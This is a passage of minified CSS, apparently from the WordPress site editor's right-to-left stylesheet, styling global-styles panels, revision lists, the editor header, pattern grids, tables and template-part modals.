var(--wp-admin-theme-color);position:relative}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-webkit-input-placeholder{color:rgba(30,30,30,.62)}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-moz-placeholder{color:rgba(30,30,30,.62);opacity:1}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:-ms-input-placeholder{color:rgba(30,30,30,.62)}.edit-site-global-styles-preview{align-items:center;cursor:pointer;display:flex;justify-content:center;line-height:1}.edit-site-global-styles-preview__iframe{display:block;max-width:100%}.edit-site-typography-preview{align-items:center;background:#f0f0f0;border-radius:2px;display:flex;justify-content:center;margin-bottom:16px;min-height:100px;overflow:hidden}.edit-site-typography-panel__full-width-control{grid-column:1/-1;max-width:100%}.edit-site-global-styles-screen-css,.edit-site-global-styles-screen-typography{margin:16px}.edit-site-global-styles-screen-typography__indicator{align-items:center;border-radius:2px;display:flex!important;font-size:14px;height:24px;justify-content:center;width:24px}.edit-site-global-styles-screen-colors{margin:16px}.edit-site-global-styles-screen-colors .color-block-support-panel{border-top:none;padding-left:0;padding-right:0}.edit-site-global-styles-header__description{padding:0 16px}.edit-site-block-types-search{margin-bottom:8px;padding:0 16px}.edit-site-global-styles-header{margin-bottom:0!important}.edit-site-global-styles-subtitle{font-size:11px!important;font-weight:500!important;margin-bottom:0!important;text-transform:uppercase}.edit-site-global-styles-section-title{color:#2f2f2f;font-weight:600;line-height:1.2;margin:0;padding:16px 16px 0}.edit-site-global-styles-variations_item{border-radius:2px;box-sizing:border-box}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{border-radius:2px;box-shadow:0 0 0 1px #e0e0e0;outline:1px solid transparent;padding:2px}.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #1e1e1e;outline-width:3px}.edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-global-styles-variations_item:focus-visible{outline:3px solid transparent;outline-offset:0}.edit-site-global-styles-icon-with-current-color{fill:currentColor}.edit-site-global-styles__color-indicator-wrapper{flex-shrink:0;height:24px}.edit-site-global-styles__block-preview-panel{border:1px solid #e0e0e0;border-radius:2px;overflow:auto;position:relative;width:100%}.edit-site-global-styles-screen-css{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack{flex:1 1 auto}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{direction:ltr;flex:1 1 auto}.edit-site-global-styles-screen-css-help-link{display:block;margin-top:8px}.edit-site-global-styles-screen-variations{border-top:1px solid #ddd;margin-top:16px}.edit-site-global-styles-screen-variations>*{margin:24px 16px}.edit-site-global-styles-sidebar__navigator-screen{display:flex;flex-direction:column}.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{background:unset;color:inherit}.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{fill:currentColor}[class][class].edit-site-global-styles-sidebar__revisions-count-badge{align-items:center;background:#2f2f2f;border-radius:2px;color:#fff;display:inline-flex;justify-content:center;min-height:24px;min-width:24px}.edit-site-global-styles-screen-revisions{margin:16px}.edit-site-global-styles-screen-revisions__revisions-list{list-style:none;margin:0}.edit-site-global-styles-screen-revisions__revisions-list li{border-right:1px solid #ddd;margin-bottom:0}.edit-site-global-styles-screen-revisions__revision-item{padding:8px 12px 8px 0;position:relative}.edit-site-global-styles-screen-revisions__revision-item:first-child{padding-top:0}.edit-site-global-styles-screen-revisions__revision-item:last-child{padding-bottom:0}.edit-site-global-styles-screen-revisions__revision-item:before{background:#ddd;border-radius:50%;content:"\a";display:inline-block;height:8px;position:absolute;right:0;top:50%;transform:translate(50%,-50%);width:8px}.edit-site-global-styles-screen-revisions__revision-item.is-selected:before{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba))}.edit-site-global-styles-screen-revisions__revision-button{display:block;height:auto;padding:8px 12px;width:100%}.edit-site-global-styles-screen-revisions__revision-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-global-styles-screen-revisions__revision-button:hover .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.is-selected .edit-site-global-styles-screen-revisions__revision-button{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba));opacity:1}.is-selected .edit-site-global-styles-screen-revisions__meta{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__button{justify-content:center;width:100%}.edit-site-global-styles-screen-revisions__description{align-items:flex-start;display:flex;flex-direction:column;gap:8px}.edit-site-global-styles-screen-revisions__meta{align-items:center;color:#757575;display:flex;justify-content:space-between;text-align:right;width:100%}.edit-site-global-styles-screen-revisions__meta img{border-radius:100%;height:16px;width:16px}.edit-site-global-styles-screen-revisions__loading{margin:24px auto!important}.edit-site-header-edit-mode{align-items:center;background-color:#fff;border-bottom:1px solid #e0e0e0;box-sizing:border-box;color:#1e1e1e;display:flex;height:60px;justify-content:space-between;padding-right:60px;width:100%}.edit-site-header-edit-mode .edit-site-header-edit-mode__start{border:none;display:flex}.edit-site-header-edit-mode .edit-site-header-edit-mode__end{display:flex;justify-content:flex-end}.edit-site-header-edit-mode .edit-site-header-edit-mode__center{align-items:center;display:flex;flex-grow:1;height:100%;justify-content:center;margin:0 8px;min-width:0}.edit-site-header-edit-mode__toolbar{align-items:center;display:flex;padding-right:8px}@media (min-width:600px){.edit-site-header-edit-mode__toolbar{padding-right:24px}}@media (min-width:1280px){.edit-site-header-edit-mode__toolbar{padding-left:8px}}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle{height:32px;margin-left:8px;min-width:32px;padding:0;width:32px}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle.is-pressed svg{transform:rotate(-45deg)}.edit-site-header-edit-mode__actions{align-items:center;display:inline-flex;gap:4px;padding-left:4px}@media (min-width:600px){.edit-site-header-edit-mode__actions{gap:8px;padding-left:10px}}.edit-site-header-edit-mode__preview-options{opacity:1;transition:opacity .3s}.edit-site-header-edit-mode__preview-options.is-zoomed-out{opacity:0}.edit-site-header-edit-mode__start{border:none;display:flex}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon{height:36px;min-width:36px;padding:6px}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon.is-pressed,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon.is-pressed{background:#1e1e1e}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon:focus:not(:disabled),.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon:before,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon:before{display:none}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.edit-site-header-edit-mode__inserter-toggle.has-icon{height:32px;margin-left:8px;min-width:32px;padding:0;width:32px}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.edit-site-header-edit-mode__inserter-toggle.has-text.has-icon{padding:0 8px;width:auto}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon{width:auto}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon svg{display:none}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon:after{content:attr(aria-label)}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon[aria-disabled=true]{background-color:transparent}.edit-site-header-edit-mode.show-icon-labels .is-tertiary:active{background-color:transparent;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color)}.edit-site-header-edit-mode.show-icon-labels .edit-site-save-button__button{padding-left:6px;padding-right:6px}.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info:after{content:none}.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info,.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__inserter-toggle.edit-site-header-edit-mode__inserter-toggle{height:36px;padding:0 8px}.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>*+*{margin-right:8px}.edit-site-document-actions{align-items:center;background:#f0f0f0;border-radius:4px;display:flex;height:36px;justify-content:space-between;min-width:0;width:min(100%,450px)}.has-fixed-toolbar .edit-site-document-actions{width:min(100%,380px)}.edit-site-document-actions:hover{background-color:#e0e0e0}.edit-site-document-actions .components-button{border-radius:4px}.edit-site-document-actions .components-button:hover{background:#e0e0e0;color:var(--wp-block-synced-color)}@media (min-width:960px){.edit-site-document-actions{width:min(100%,450px)}}.edit-site-document-actions.is-synced-entity .edit-site-document-actions__title,.edit-site-document-actions.is-synced-entity .edit-site-document-actions__title h1{color:var(--wp-block-synced-color)}.edit-site-document-actions__command{color:var(--wp-block-synced-color);flex-grow:1;overflow:hidden}.edit-site-document-actions__title{flex-grow:1;overflow:hidden}@media (min-width:600px){.edit-site-document-actions__title{padding-right:32px}}.edit-site-document-actions__title:hover{color:var(--wp-block-synced-color)}.edit-site-document-actions__title .block-editor-block-icon{flex-shrink:0;min-width:24px}.edit-site-document-actions__title h1{max-width:50%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-document-actions.is-page .edit-site-document-actions__title,.edit-site-document-actions.is-page .edit-site-document-actions__title h1{color:#2f2f2f}.edit-site-document-actions.is-animated .edit-site-document-actions__title{animation:edit-site-document-actions__slide-in-left .3s}@media (prefers-reduced-motion:reduce){.edit-site-document-actions.is-animated .edit-site-document-actions__title{animation-delay:0s;animation-duration:1ms}}.edit-site-document-actions.is-animated.is-page .edit-site-document-actions__title{animation:edit-site-document-actions__slide-in-right .3s}@media (prefers-reduced-motion:reduce){.edit-site-document-actions.is-animated.is-page .edit-site-document-actions__title{animation-delay:0s;animation-duration:1ms}}.edit-site-document-actions__shortcut{color:#2f2f2f;display:none;min-width:32px}@media (min-width:600px){.edit-site-document-actions__shortcut{display:initial}}.edit-site-document-actions__back.components-button.has-icon.has-text{color:#757575;flex-shrink:0;gap:0;min-width:36px;position:absolute;z-index:1}.edit-site-document-actions__back.components-button.has-icon.has-text:hover{background-color:transparent;color:currentColor}.edit-site-document-actions.is-animated .edit-site-document-actions__back.components-button.has-icon.has-text{animation:edit-site-document-actions__slide-in-left .3s}@media (prefers-reduced-motion:reduce){.edit-site-document-actions.is-animated .edit-site-document-actions__back.components-button.has-icon.has-text{animation-delay:0s;animation-duration:1ms}}@keyframes edit-site-document-actions__slide-in-right{0%{opacity:0;transform:translateX(15%)}to{opacity:1;transform:translateX(0)}}@keyframes edit-site-document-actions__slide-in-left{0%{opacity:0;transform:translateX(-15%)}to{opacity:1;transform:translateX(0)}}.edit-site-list-header{align-items:center;box-sizing:border-box;display:flex;height:60px;justify-content:flex-end;padding-left:16px;position:relative;width:100%}body.is-fullscreen-mode .edit-site-list-header{padding-right:60px;transition:padding-right 20ms linear;transition-delay:80ms}@media (prefers-reduced-motion:reduce){body.is-fullscreen-mode .edit-site-list-header{transition-delay:0s;transition-duration:0s}}.edit-site-list-header .edit-site-list-header__title{font-size:20px;margin:0;padding:0;position:absolute;right:0;text-align:center;width:100%}.edit-site-list-header__right{position:relative}.edit-site .edit-site-list{background:#fff;border-radius:8px;box-shadow:0 20px 25px -5px rgba(0,0,0,.8),0 8px 10px -6px rgba(0,0,0,.8);flex-grow:1}.edit-site .edit-site-list .interface-interface-skeleton__editor{min-width:100%}@media (min-width:782px){.edit-site .edit-site-list .interface-interface-skeleton__editor{min-width:0}}.edit-site .edit-site-list .interface-interface-skeleton__content{align-items:center;background:#fff;padding:16px}@media (min-width:782px){.edit-site .edit-site-list .interface-interface-skeleton__content{padding:72px}}.edit-site-list-table{border:1px solid #ddd;border-radius:2px;border-spacing:0;margin:0 auto;max-width:960px;min-width:100%;overflow:hidden}.edit-site-list-table tr{align-items:center;border-top:1px solid #f0f0f0;box-sizing:border-box;display:flex;margin:0;padding:16px}.edit-site-list-table tr:first-child{border-top:0}@media (min-width:782px){.edit-site-list-table tr{padding:24px 32px}}.edit-site-list-table tr .edit-site-list-table-column:first-child{padding-left:24px;width:calc(60% - 18px)}.edit-site-list-table tr .edit-site-list-table-column:first-child a{display:inline-block;font-weight:500;margin-bottom:4px;text-decoration:none}.edit-site-list-table tr .edit-site-list-table-column:nth-child(2){width:calc(40% - 18px);word-break:break-word}.edit-site-list-table tr .edit-site-list-table-column:nth-child(3){flex-shrink:0;min-width:36px}.edit-site-list-table tr.edit-site-list-table-head{border-bottom:1px solid #ddd;border-top:none;color:#1e1e1e;font-size:16px;font-weight:600;text-align:right}.edit-site-list-table tr.edit-site-list-table-head th{font-weight:inherit}@media (min-width:782px){.edit-site-list.is-navigation-open .components-snackbar-list{margin-right:360px}}.edit-site-list__rename-modal{z-index:1000001}@media (min-width:782px){.edit-site-list__rename-modal .components-base-control{width:320px}}.edit-site-template__actions button:not(:last-child){margin-left:8px}.edit-site-list-added-by__icon{align-items:center;background:#2f2f2f;border-radius:100%;display:flex;flex-shrink:0;height:32px;justify-content:center;width:32px}.edit-site-list-added-by__icon svg{fill:#fff}.edit-site-list-added-by__avatar{background:#2f2f2f;border-radius:100%;flex-shrink:0;height:32px;overflow:hidden;width:32px}.edit-site-list-added-by__avatar img{height:32px;object-fit:cover;opacity:0;transition:opacity .1s linear;width:32px}@media (prefers-reduced-motion:reduce){.edit-site-list-added-by__avatar img{transition-delay:0s;transition-duration:0s}}.edit-site-list-added-by__avatar.is-loaded img{opacity:1}.edit-site-list-added-by__customized-info{color:#757575;display:block}.edit-site-page{background:#fff;color:#2f2f2f;flex-grow:1;margin:60px 0 0;overflow:hidden}@media (min-width:782px){.edit-site-page{border-radius:8px;margin:24px 0 24px 24px}}.edit-site-page-header{background:#fff;border-bottom:1px solid #f0f0f0;min-height:60px;padding:0 32px;position:sticky;top:0;z-index:2}.edit-site-page-header .components-text{color:#2f2f2f}.edit-site-page-header .components-heading{color:#1e1e1e}.edit-site-page-header .edit-site-page-header__sub-title{color:#757575;margin-top:8px}.edit-site-page-content{display:flex;flex-flow:column;height:100%;overflow:auto;position:relative;z-index:1}.edit-site-patterns{background:none;border-radius:0;border-right:1px solid #2f2f2f;margin:60px 0 0;overflow-x:auto;padding:0}.edit-site-patterns .components-base-control{width:100%}@media (min-width:782px){.edit-site-patterns .components-base-control{width:auto}}.edit-site-patterns .components-text{color:#949494}.edit-site-patterns .components-heading{color:#e0e0e0}@media (min-width:782px){.edit-site-patterns{margin:0}}.edit-site-patterns .edit-site-patterns__search-block{flex-grow:1;min-width:-moz-fit-content;min-width:fit-content}.edit-site-patterns .edit-site-patterns__search input[type=search]{background:#2f2f2f;color:#e0e0e0;height:40px}.edit-site-patterns .edit-site-patterns__search input[type=search]:focus{background:#2f2f2f}.edit-site-patterns .edit-site-patterns__search svg{fill:#949494}.edit-site-patterns .edit-site-patterns__sync-status-filter{background:#2f2f2f;border:none;height:40px;max-width:100%;min-width:max-content;width:100%}@media (min-width:782px){.edit-site-patterns .edit-site-patterns__sync-status-filter{width:300px}}.edit-site-patterns .edit-site-patterns__sync-status-filter-option:not([aria-checked=true]){color:#949494}.edit-site-patterns .edit-site-patterns__sync-status-filter-option:active{background:#757575;color:#f0f0f0}.edit-site-patterns .edit-site-patterns__grid-pagination{background:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;padding:24px 32px;position:sticky;z-index:2}.edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary{background-color:#2f2f2f;color:#f0f0f0;height:32px;justify-content:center;width:32px}.edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary:disabled{background:none;color:#949494}.edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary:hover:not(:disabled){background-color:#757575}.edit-site-patterns__header{background:#1e1e1e;padding:32px 32px 16px;position:sticky;top:0;z-index:2}.edit-site-patterns__section{flex:1;padding:24px 32px}.edit-site-patterns__section-header .screen-reader-shortcut:focus{top:0}.edit-site-patterns__grid{display:grid;gap:32px;grid-template-columns:1fr;margin-bottom:0;margin-top:0}@media (min-width:960px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr}}@media (min-width:1440px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr 1fr}}@media (min-width:1920px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr 1fr 1fr}}.edit-site-patterns__grid .edit-site-patterns__pattern{break-inside:avoid-column;display:flex;flex-direction:column}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;overflow:hidden;padding:0}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview:focus{box-shadow:inset 0 0 0 0 #fff,0 0 0 2px var(--wp-admin-theme-color);outline:2px solid transparent}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive{cursor:default}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #2f2f2f;opacity:.8}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__button,.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__footer{color:#949494}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__dropdown{flex-shrink:0}.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview{align-items:center;border:1px dashed #2f2f2f;color:#949494;display:flex;justify-content:center;min-height:64px}.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-patterns__grid .edit-site-patterns__preview{flex:0 1 auto;margin-bottom:12px}.edit-site-patterns__load-more{align-self:center}.edit-site-patterns__pattern-title{color:#e0e0e0}.edit-site-patterns__pattern-title .is-link{color:#e0e0e0;text-decoration:none}.edit-site-patterns__pattern-title .is-link:focus,.edit-site-patterns__pattern-title .is-link:hover{color:#fff}.edit-site-patterns__pattern-title .edit-site-patterns__pattern-icon{fill:#fff;background:var(--wp-block-synced-color);border-radius:4px}.edit-site-patterns__pattern-title .edit-site-patterns__pattern-lock-icon{fill:currentcolor}.edit-site-patterns__no-results{color:#949494}.edit-site-table-wrapper{padding:32px;width:100%}.edit-site-table{border-collapse:collapse;border-color:inherit;position:relative;text-indent:0;width:100%}.edit-site-table a{text-decoration:none}.edit-site-table th{color:#757575;font-weight:400;padding:0 16px 16px;text-align:right}.edit-site-table td{padding:16px}.edit-site-table td,.edit-site-table th{vertical-align:center}.edit-site-table td:first-child,.edit-site-table th:first-child{padding-right:0}.edit-site-table td:last-child,.edit-site-table th:last-child{padding-left:0;text-align:left}.edit-site-table tr{border-bottom:1px solid #f0f0f0}.edit-site-sidebar-edit-mode{width:280px}.edit-site-sidebar-edit-mode>.components-panel{border-left:0;border-right:0;margin-bottom:-1px;margin-top:-1px}.edit-site-sidebar-edit-mode>.components-panel>.components-panel__header{background:#f0f0f0}.edit-site-sidebar-edit-mode .block-editor-block-inspector__card{margin:0}.edit-site-global-styles-sidebar{display:flex;flex-direction:column;min-height:100%}.edit-site-global-styles-sidebar__navigator-provider,.edit-site-global-styles-sidebar__panel{display:flex;flex:1;flex-direction:column}.edit-site-global-styles-sidebar__navigator-screen{flex:1}.edit-site-global-styles-sidebar .interface-complementary-area-header .components-button.has-icon{margin-right:0}.edit-site-global-styles-sidebar__reset-button.components-button{margin-right:auto}.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{font-size:15.6px;font-weight:500}.edit-site-global-styles-sidebar .components-navigation__item>button span{font-weight:500}.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings,.edit-site-typography-panel{border:0}.edit-site-global-styles-sidebar .single-column{grid-column:span 1}.edit-site-global-styles-sidebar .components-tools-panel .span-columns{grid-column:1/-1}.edit-site-global-styles-sidebar__blocks-group{border-top:1px solid #e0e0e0;padding-top:24px}.edit-site-global-styles-sidebar__blocks-group-help{padding:0 16px}.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{padding:16px}.edit-site-global-styles-sidebar hr{margin:0}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.edit-site-sidebar-fixed-bottom-slot{background:#fff;border-top:1px solid #ddd;bottom:0;box-sizing:content-box;display:flex;padding:16px;position:sticky}.edit-site-swap-template-modal{z-index:1000001}.edit-site-page-panels__swap-template__confirm-modal__actions{margin-top:24px}.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{column-count:4}}.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{box-shadow:0 0 0 1px #ddd}.edit-site-change-status__content .components-popover__content{min-width:320px;padding:16px}.edit-site-change-status__content .edit-site-change-status__options .components-base-control__field>.components-v-stack{gap:8px}.edit-site-change-status__content .edit-site-change-status__options label .components-text{display:block;margin-right:26px}.edit-site-change-status__content .edit-site-change-status__password-legend{margin-bottom:8px;padding:0}.edit-site-summary-field .components-dropdown{width:70%}.edit-site-summary-field .edit-site-summary-field__trigger{display:block;max-width:100%;overflow:hidden;text-align:right;text-overflow:ellipsis;white-space:nowrap}.edit-site-summary-field .edit-site-summary-field__label{width:30%}.edit-site-page-panels-edit-template__dropdown .components-popover__content{min-width:240px}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs{border-top:0;justify-content:flex-start;margin-top:0;padding-left:16px;padding-right:0}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs ul{display:flex}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs li{margin:0}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{display:none;height:24px;margin:0 auto 0 0;min-width:24px;padding:0}@media (min-width:782px){.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{display:flex}}.components-button.edit-site-sidebar-edit-mode__panel-tab{background:transparent;border:none;border-radius:0;box-shadow:none;cursor:pointer;font-weight:500;height:48px;margin-right:0;padding:3px 16px;position:relative}.components-button.edit-site-sidebar-edit-mode__panel-tab:focus:not(:disabled){box-shadow:none;outline:none;position:relative}.components-button.edit-site-sidebar-edit-mode__panel-tab:after{background:var(--wp-admin-theme-color);border-radius:0;bottom:0;content:"";height:calc(var(--wp-admin-border-width-focus)*0);left:0;pointer-events:none;position:absolute;right:0;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-button.edit-site-sidebar-edit-mode__panel-tab:after{transition-delay:0s;transition-duration:0s}}.components-button.edit-site-sidebar-edit-mode__panel-tab.is-active:after{height:calc(var(--wp-admin-border-width-focus)*1);outline:2px solid transparent;outline-offset:-1px}.components-button.edit-site-sidebar-edit-mode__panel-tab:before{border-radius:2px;bottom:12px;box-shadow:0 0 0 0 transparent;content:"";left:12px;pointer-events:none;position:absolute;right:12px;top:12px;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-button.edit-site-sidebar-edit-mode__panel-tab:before{transition-delay:0s;transition-duration:0s}}.components-button.edit-site-sidebar-edit-mode__panel-tab:focus-visible:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.edit-site-sidebar-card{align-items:flex-start;display:flex}.edit-site-sidebar-card__content{flex-grow:1;margin-bottom:4px}.edit-site-sidebar-card__title{font-weight:500;line-height:24px}.edit-site-sidebar-card__title.edit-site-sidebar-card__title{margin:0}.edit-site-sidebar-card__description{font-size:13px}.edit-site-sidebar-card__icon{flex:0 0 24px;height:24px;margin-left:12px;width:24px}.edit-site-sidebar-card__header{display:flex;justify-content:space-between;margin:0 0 4px}.edit-site-template-card__template-areas{margin-top:16px}.edit-site-template-card__template-areas-list,.edit-site-template-card__template-areas-list>li{margin:0}.edit-site-template-card__template-areas-item{width:100%}.edit-site-template-card__template-areas-item.components-button.has-icon{padding:0}.edit-site-template-card__actions{line-height:0}.edit-site-template-card__actions>.components-button.is-small.has-icon{min-width:auto;padding:0}.edit-site-template-revisions{margin-right:-4px}h3.edit-site-template-card__template-areas-title{font-weight:500;margin:0 0 8px}.edit-site-template-panel__replace-template-modal{z-index:1000001}.edit-site-template-panel__replace-template-modal__content{column-count:2;column-gap:24px}@media (min-width:782px){.edit-site-template-panel__replace-template-modal__content{column-count:3}}@media (min-width:1280px){.edit-site-template-panel__replace-template-modal__content{column-count:4}}.edit-site-editor__interface-skeleton{opacity:1;transition:opacity .1s ease-out}@media (prefers-reduced-motion:reduce){.edit-site-editor__interface-skeleton{transition-delay:0s;transition-duration:0s}}.edit-site-editor__interface-skeleton.is-loading{opacity:0}.edit-site-editor__interface-skeleton .interface-interface-skeleton__header{border:0}.edit-site-editor__toggle-save-panel{background-color:#fff;border:1px dotted #ddd;box-sizing:border-box;display:flex;justify-content:center;padding:24px;width:280px}.edit-site .components-editor-notices__snackbar{bottom:40px;left:0;padding-left:16px;padding-right:16px;position:absolute;right:0}@media (min-width:783px){.edit-site .components-editor-notices__snackbar{right:160px}}@media (min-width:783px){.auto-fold .edit-site .components-editor-notices__snackbar{right:36px}}@media (min-width:961px){.auto-fold .edit-site .components-editor-notices__snackbar{right:160px}}.folded .edit-site .components-editor-notices__snackbar{right:0}@media (min-width:783px){.folded .edit-site .components-editor-notices__snackbar{right:36px}}body.is-fullscreen-mode .edit-site .components-editor-notices__snackbar{right:0!important}.edit-site-create-template-part-modal{z-index:1000001}@media (min-width:600px){.edit-site-create-template-part-modal .components-modal__frame{max-width:500px}}.edit-site-create-template-part-modal__area-radio-group{border:1px solid #757575;border-radius:2px;width:100%}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio{display:block;height:100%;padding:12px;text-align:right;width:100%}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover{background-color:inherit;border-bottom:1px solid #757575;border-radius:0;margin:0}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:focus){box-shadow:none}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:focus{border-bottom:1px solid #fff}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:last-of-type{border-bottom:none}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true]{color:#1e1e1e;cursor:auto}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover) .edit-site-create-template-part-modal__option-label div,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true] .edit-site-create-template-part-modal__option-label 